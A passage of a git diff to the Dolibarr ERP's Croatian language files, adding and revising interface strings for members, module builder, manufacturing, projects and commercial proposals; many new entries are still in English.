Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -12,8 +18,8 @@ FormatDateShort=%d/%m/%Y FormatDateShortInput=%d/%m/%Y FormatDateShortJava=dd/MM/yyyy FormatDateShortJavaInput=dd/MM/yyyy -FormatDateShortJQuery=dd/mm/yyyy -FormatDateShortJQueryInput=dd/mm/yyyy +FormatDateShortJQuery=dd/mm/yy +FormatDateShortJQueryInput=dd/mm/yy FormatHourShortJQuery=HH:MI FormatHourShort=%I:%M %p FormatHourShortDuration=%H:%M @@ -28,6 +34,7 @@ NoTemplateDefined=Nema predloška za taj tip e-pošte AvailableVariables=Dostupne zamjenske vrijednosti NoTranslation=Bez prijevoda Translation=Prijevod +Translations=Translations CurrentTimeZone=Vremenska zona PHP (server) EmptySearchString=Unesite kriterije pretraživanja EnterADateCriteria=Unesite kriterij datuma @@ -199,6 +206,7 @@ Valid=Valjano Approve=Odobri Disapprove=Ne odobri ReOpen=Ponovo otvori +OpenVerb=Otvoreno Upload=Podigni ToLink=Poveznica Select=Odaberi @@ -216,8 +224,9 @@ UserGroup=Grupa korisnika UserGroups=Grupe korisnika NoUserGroupDefined=Grupa korisnika nije izrađena Password=Zaporka -PasswordRetype=Ponovi zaporku +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Uzmite u obzir da je dosta mogućnosti i modula onemogućeno u ovom izlaganju. +YourUserFile=Your user file Name=Ime NameSlashCompany=Ime / Tvrtka Person=Osoba @@ -481,6 +490,7 @@ ActionsOnContact=Događaji vezani na ovaj kontakt/adresu ActionsOnContract=Događaji vezani uz ovaj ugovor ActionsOnMember=Događaji vezani uz ovog člana ActionsOnProduct=Radnje vezane uz ovaj proizvod +ActionsOnAsset=Events for this fixed asset NActionsLate=%s kasni ToDo=Za učiniti Completed=Završeno @@ -888,6 +898,9 @@ MassFilesArea=Sučelje za datoteke izrađene masovnom radnjama ShowTempMassFilesArea=Prikaži sučelje datoteka stvorenih masovnom akcijom ConfirmMassDeletion=Potvrda skupnog brisanja ConfirmMassDeletionQuestion=Jeste li sigurni da želite izbrisati %s odabrane zapise? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Povezani dokumenti ClassifyBilled=Označi kao zaračunato ClassifyUnbilled=Označi kao nezaračunato @@ -903,8 +916,8 @@ ExportFilteredList=Izvoz pročišćenog popisa ExportList=Spis izvoza ExportOptions=Opcije izvoza IncludeDocsAlreadyExported=Uključuje već izvezene dokumente -ExportOfPiecesAlreadyExportedIsEnable=Omogućen je izvoz već izvezenih komada -ExportOfPiecesAlreadyExportedIsDisable=Onemogućen je izvoz već izvezenih komada +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Sva izvezena kretanja evidentirana su kao izvezena NotAllExportedMovementsCouldBeRecordedAsExported=Nisu svi izvezeni pokreti mogli biti zabilježeni kao izvezeni Miscellaneous=Ostalo @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Privatni link za preuzimanje PrivateDownloadLinkDesc=Morate biti prijavljeni i potrebna su vam dopuštenja za pregled ili preuzimanje datoteke Download=Preuzimanje DownloadDocument=Preuzimanje dokumenta +DownloadSignedDocument=Download signed document ActualizeCurrency=Upiši novi tečaj Fiscalyear=Fiskalna godina ModuleBuilder=Graditelj modula i aplikacija @@ -1046,6 +1060,7 @@ SearchIntoContracts=Ugovori SearchIntoCustomerShipments=Pošiljke kupcu SearchIntoExpenseReports=Troškovnici SearchIntoLeaves=Napusti +SearchIntoKM=Knowledge base SearchIntoTickets=Tiketi SearchIntoCustomerPayments=Plaćanja kupaca SearchIntoVendorPayments=Plaćanja dobavljača @@ -1117,6 +1132,7 @@ DeleteFileText=Jeste li sigurni da želite obrisati ovu datoteku? ShowOtherLanguages=Prikaži ostale jezike SwitchInEditModeToAddTranslation=Prijeđite u način uređivanja da biste dodali prijevode za ovaj jezik NotUsedForThisCustomer=Ne koristi se za ovog kupca +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Iznos mora biti pozitivan ByStatus=Po statusu InformationMessage=Podatak @@ -1137,15 +1153,29 @@ EventReminder=Podsjetnik na događaj UpdateForAllLines=Ažuriranje za sve linije OnHold=Na čekanju Civility=Uljudnost -AffectTag=Oznaka utjecaja +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Stvorite vanjskog korisnika -ConfirmAffectTag=Utjecaj skupne oznake -ConfirmAffectTagQuestion=Jeste li sigurni da želite utjecati na oznake %s odabranih zapisa? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Nije pronađena vrsta oznake za vrstu zapisa +Rate=Stopa +SupervisorNotFound=Supervisor not found CopiedToClipboard=Kopirano u međuspremnik InformationOnLinkToContract=Ovaj iznos je samo zbroj svih stavki ugovora. Ne uzima se u obzir pojam vremena. ConfirmCancel=Jeste li sigurni da želite otkazati EmailMsgID=ID email poruke +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Postavite na omogućeno SetToDisabled=Postavite na onemogućeno ConfirmMassEnabling=masovno omogućavanje potvrde @@ -1174,9 +1204,21 @@ Terminated=Prekinuto AddLineOnPosition=Dodajte redak na poziciju (na kraju ako je prazan) ConfirmAllocateCommercial=Dodijelite potvrdu prodajnog predstavnika ConfirmAllocateCommercialQuestion=Jeste li sigurni da želite dodijeliti %s odabrane zapise? -CommercialsAffected=Pogođeni su prodajni predstavnici -CommercialAffected=Pogođen prodajni predstavnik +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interni korisnik +ExternalUser=Vanjski korisnik +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/hr_HR/members.lang b/htdocs/langs/hr_HR/members.lang index 9285a5a287a..f4f6a74f7ab 100644 --- a/htdocs/langs/hr_HR/members.lang +++ b/htdocs/langs/hr_HR/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Drugi član (ime: %s, login: < ErrorUserPermissionAllowsToLinksToItselfOnly=Iz sigurnosnih razloga, morate dodjeliti dozvole svim korisnicima da mogu povezivati članove s korisnicima koji nisu vaši. SetLinkToUser=Poveži s Dolibarr korisnikom SetLinkToThirdParty=Veza na Dolibarr komitenta +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Popis članova MembersListToValid=Popis članova u skicama ( za ovjeru ) @@ -34,7 +35,8 @@ DateSubscription=Datum članstva DateEndSubscription=Datum završetka članstva EndSubscription=Kraj članstva SubscriptionId=Pretplata ID -WithoutSubscription=Bez pretplate +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Novi član @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Vrsta člana ne može se izbrisati NewSubscription=Nova pretplata NewSubscriptionDesc=This form allows you to record your subscription as a new member of the foundation. If you want to renew your subscription (if already a member), please contact foundation board instead by email %s. Subscription=Pretplata +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Trajanje +GetMembershipButtonLabel=Join Subscriptions=Pretplate SubscriptionLate=Kasni SubscriptionNotReceived=Pretplata nikad zaprimljena @@ -136,7 +144,7 @@ CardContent=Sadržaj vaše članske kartice # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Promet (za tvrtke) ili proračun (za zaklade) DefaultAmount=Default amount of contribution -CanEditAmount=Posjetitelj može odabrati/mjenjati iznos svoje pretplate -MEMBER_NEWFORM_PAYONLINE=Idi na integriranu stranicu online plaćanja +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Po karakteristikama MembersStatisticsByProperties=Statistika članova po karakteristikama VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/hr_HR/modulebuilder.lang b/htdocs/langs/hr_HR/modulebuilder.lang index b2aa2ab0c6a..8181f5f9eef 100644 --- a/htdocs/langs/hr_HR/modulebuilder.lang +++ b/htdocs/langs/hr_HR/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=Ovaj alat smiju koristiti samo iskusni korisnici ili programeri. Pruža pomoćne programe za izgradnju ili uređivanje vlastitog modula. Dokumentacija za alternativni ručni razvoj je ovdje . EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Putanja na kojoj se moduli generiraju/uređuju (prvi direktorij za vanjske module definiran u %s): %s ModuleBuilderDesc3=Generated/editable modules found: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Modul se detektira kao 'koji se može uređivati' kada datote NewModule=Novi modul NewObjectInModulebuilder=Novi objekt NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Module key ObjectKey=Object key DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Path to zip of module/application package PathToModuleDocumentation=Path to file of module/application documentation (%s) SpaceOrSpecialCharAreNotAllowed=Razmaci ili posebni znakovi nisu dopušteni. FileNotYetGenerated=Datoteka još nije generirana +GenerateCode=Generate code RegenerateClassAndSql=Prisilno ažuriranje .class i .sql datoteka RegenerateMissingFiles=Generirajte datoteke koje nedostaju SpecificationFile=File of documentation LanguageFile=Datoteka za jezik ObjectProperties=Object Properties +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Are you sure you want to delete the property %s? This will change code in PHP class but also remove column from table definition of object. NotNull=Nije NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Is a measure DirScanned=Directory scanned NoTrigger=No trigger NoWidget=No widget -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Popis unosa u izborniku ListOfDictionariesEntries=List of dictionaries entries ListOfPermissionsDefined=List of defined permissions SeeExamples=Ovdje pogledajte primjere -EnabledDesc=Condition to have this field active (Examples: 1 or $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Prikaz u PDF-u +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Can the value of field be cumulated to get a total into list? (Examples: 1 or 0) SearchAllDesc=Is the field used to make a search from the quick search tool? (Examples: 1 or 0) SpecDefDesc=Enter here all documentation you want to provide with your module that is not already defined by other tabs. You can use .md or better, the rich .asciidoc syntax. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Use a specific editor URL UseSpecificFamily = Use a specific family UseSpecificAuthor = Koristite određenog autora UseSpecificVersion = Koristite određenu početnu verziju -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=If you check this, some code will be generated to add a "Generate document" box on the record. -ShowOnCombobox=Show value into combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Key for tooltip CSSClass=CSS za uređivanje/kreiranje obrasca CSSViewClass=CSS za obrazac za čitanje CSSListClass=CSS za popis NotEditable=Nije moguće uređivati ForeignKey=Foreign key -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii u HTML pretvarač AsciiToPdfConverter=Ascii u PDF pretvarač TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=Graditelj modula je dostupan, ali nije dopušten vašem korisniku. ImportExportProfiles=Uvoz i izvoz profila -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Upozorenje: Baza podataka se ne ažurira automatski, morate uništiti tablice i onemogućiti-omogućiti modul za ponovno kreiranje tablica LinkToParentMenu=Roditeljski izbornik (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/hr_HR/mrp.lang b/htdocs/langs/hr_HR/mrp.lang index baac75c4d8c..46ddbdd39f6 100644 --- a/htdocs/langs/hr_HR/mrp.lang +++ b/htdocs/langs/hr_HR/mrp.lang @@ -11,8 +11,8 @@ Bom=Sastavnica BillOfMaterials=Sastavnice BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=Lista proizvodnih naloga +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Proizvodni nalozi NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=BOM numbering templates @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Jeste li sigurni da želite klonirati popis materija ConfirmCloneMo=Jeste li sigurni da želite klonirati proizvodnu narudžbu %s? ManufacturingEfficiency=Učinkovitost proizvodnje ConsumptionEfficiency=Učinkovitost potrošnje +Consumption=Consumption ValueOfMeansLoss=Vrijednost od 0,95 znači prosječno 5%% gubitka tijekom proizvodnje ili rastavljanja ValueOfMeansLossForProductProduced=Vrijednost od 0,95 znači prosječno 5%% gubitka proizvedenog proizvoda DeleteBillOfMaterials=Delete Bill Of Materials @@ -82,6 +83,7 @@ ProductsToProduce=Proizvodi za proizvodnju UnitCost=Jedinični trošak TotalCost=Ukupni trošak BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Radna stanica @@ -112,3 +114,7 @@ MOAndLines=Manufacturing Orders and lines MoChildGenerate=Generate Child Mo ParentMo=MO Parent MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/hr_HR/projects.lang b/htdocs/langs/hr_HR/projects.lang index c9740e10f82..693ed55a765 100644 --- a/htdocs/langs/hr_HR/projects.lang +++ b/htdocs/langs/hr_HR/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Ovaj popis predstavlja sve projekte i zadatke za koje imate dozv TasksDesc=Ovaj popis predstavlja sve projekte i zadatke (vaše korisničke dozvole odobravaju vam da vidite sve). AllTaskVisibleButEditIfYouAreAssigned=Svi zadaci kvalificiranih projekata su vidljivi, ali možete unijeti vrijeme samo za zadatak dodijeljen odabranom korisniku. Dodijelite zadatak ako na njemu trebate unijeti vrijeme. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Zadaci projekta ProjectCategories=Projektne oznake / kategorije NewProject=Novi projekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Mogući iznos otvorenih projekata po status OpportunitiesStatusForProjects=Mogući iznos projekata po statusu ShowProject=Prikaži projekt ShowTask=Prikaži zadatak +SetThirdParty=Set third party SetProject=Postavi projekt +OutOfProject=Out of project NoProject=Nema definiranih ili vlastih projekata NbOfProjects=Number of projects NbOfTasks=Number of tasks @@ -122,7 +125,8 @@ ValidateProject=Ovjeri projekt ConfirmValidateProject=Jeste li sigurni da želite odobriti ovaj projekt? CloseAProject=Zatvori projekt ConfirmCloseAProject=Jeste li sigurni da želite zatvoriti ovaj projekt? -AlsoCloseAProject=Također zatvorite projekt (držite ga otvorenim ako i dalje trebate slijediti proizvodne zadatke na njemu) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Otvori projekt ConfirmReOpenAProject=Jeste li sigurni da želite ponovo otvoriti ovaj projekt? ProjectContact=Kontakti projekta @@ -165,7 +169,7 @@ OpportunityProbability=Glavna vjerojatnost OpportunityProbabilityShort=Glavna vjer. OpportunityAmount=Glavni iznos OpportunityAmountShort=Glavni iznos -OpportunityWeightedAmount=Opportunity weighted amount +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. weighted amount OpportunityAmountAverageShort=Prosječan glavni iznos OpportunityAmountWeigthedShort=Ponderirani glavni iznos @@ -238,7 +242,7 @@ OppStatusPENDING=Na čekanju OppStatusWON=Dobio OppStatusLOST=Izgubljeno Budget=Proračun -AllowToLinkFromOtherCompany=Dozvoli povezivanje projekta druge tvrtke

      Podržane vrijednosti:
      - Ostavi prazno: može povezati bilo koji projekt tvrtke (zadano)
      - "sve": može povezati bilo koje projekte, čak i projekte drugih tvrtki
      - Popis ID-ova trećih strana odvojen zarezima: može povezati sve projekte ovih trećih strana (Primjer: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Najnoviji %s projekti LatestModifiedProjects=Najnoviji %s modificirani projekti OtherFilteredTasks=Ostali filtrirani zadaci @@ -259,7 +263,7 @@ TimeSpentInvoiced=Naplaćeno utrošeno vrijeme TimeSpentForIntervention=Vrijeme utrošeno TimeSpentForInvoice=Vrijeme utrošeno OneLinePerUser=Jedna linija po korisniku -ServiceToUseOnLines=Usluga za uporabu na linijama +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Račun %s generiran je od vremena utrišenog na projektu InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Check if you enter timesheet on tasks of project AND you plan to generate invoice(s) from the timesheet to bill the customer of the project (do not check if you plan to create invoice that is not based on entered timesheets). Note: To generate invoice, go on tab 'Time spent' of the project and select lines to include. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/hr_HR/propal.lang b/htdocs/langs/hr_HR/propal.lang index 4dbcee5f859..0b5ae848b51 100644 --- a/htdocs/langs/hr_HR/propal.lang +++ b/htdocs/langs/hr_HR/propal.lang @@ -54,9 +54,10 @@ NoDraftProposals=Nema skica ponuda CopyPropalFrom=Izradi ponudu preslikom postojeće ponude CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Osnovni rok valjanosti ponude (u danima) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? -ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? +ConfirmReOpenProp=Jeste li sigurni da želite ponovno otvoriti ponudu %s ? ProposalsAndProposalsLines=Ponude i stavke ProposalLine=Stavka ponude ProposalLines=Proposal lines @@ -64,36 +65,54 @@ AvailabilityPeriod=Rok isporuke SetAvailability=Odredi rok isporuke AfterOrder=poslije narudžbe OtherProposals=Ostale ponude + ##### Availability ##### AvailabilityTypeAV_NOW=Odmah AvailabilityTypeAV_1W=Tjedan dana AvailabilityTypeAV_2W=Dva tjedna AvailabilityTypeAV_3W=Tri tjedna AvailabilityTypeAV_1M=Mjesec dana -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Suradnik koji prati ponudu TypeContact_propal_external_BILLING=Kontakt osoba pri kupcu za račun TypeContact_propal_external_CUSTOMER=Kontakt osoba pri kupcu za ponudu TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Ugovor potpisan +DefaultModelPropalClosed=Osnovni predložak prilikom zatvaranja poslovne ponude (nenaplaćeno) DefaultModelPropalCreate=Izrada osnovnog modela DefaultModelPropalToBill=Osnovni predložak prilikom zatvaranja poslovne ponude (za naplatu) -DefaultModelPropalClosed=Osnovni predložak prilikom zatvaranja poslovne ponude (nenaplaćeno) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Odbij +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Potvrda narudžbe; pečat tvrtke, datum i potpis ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git 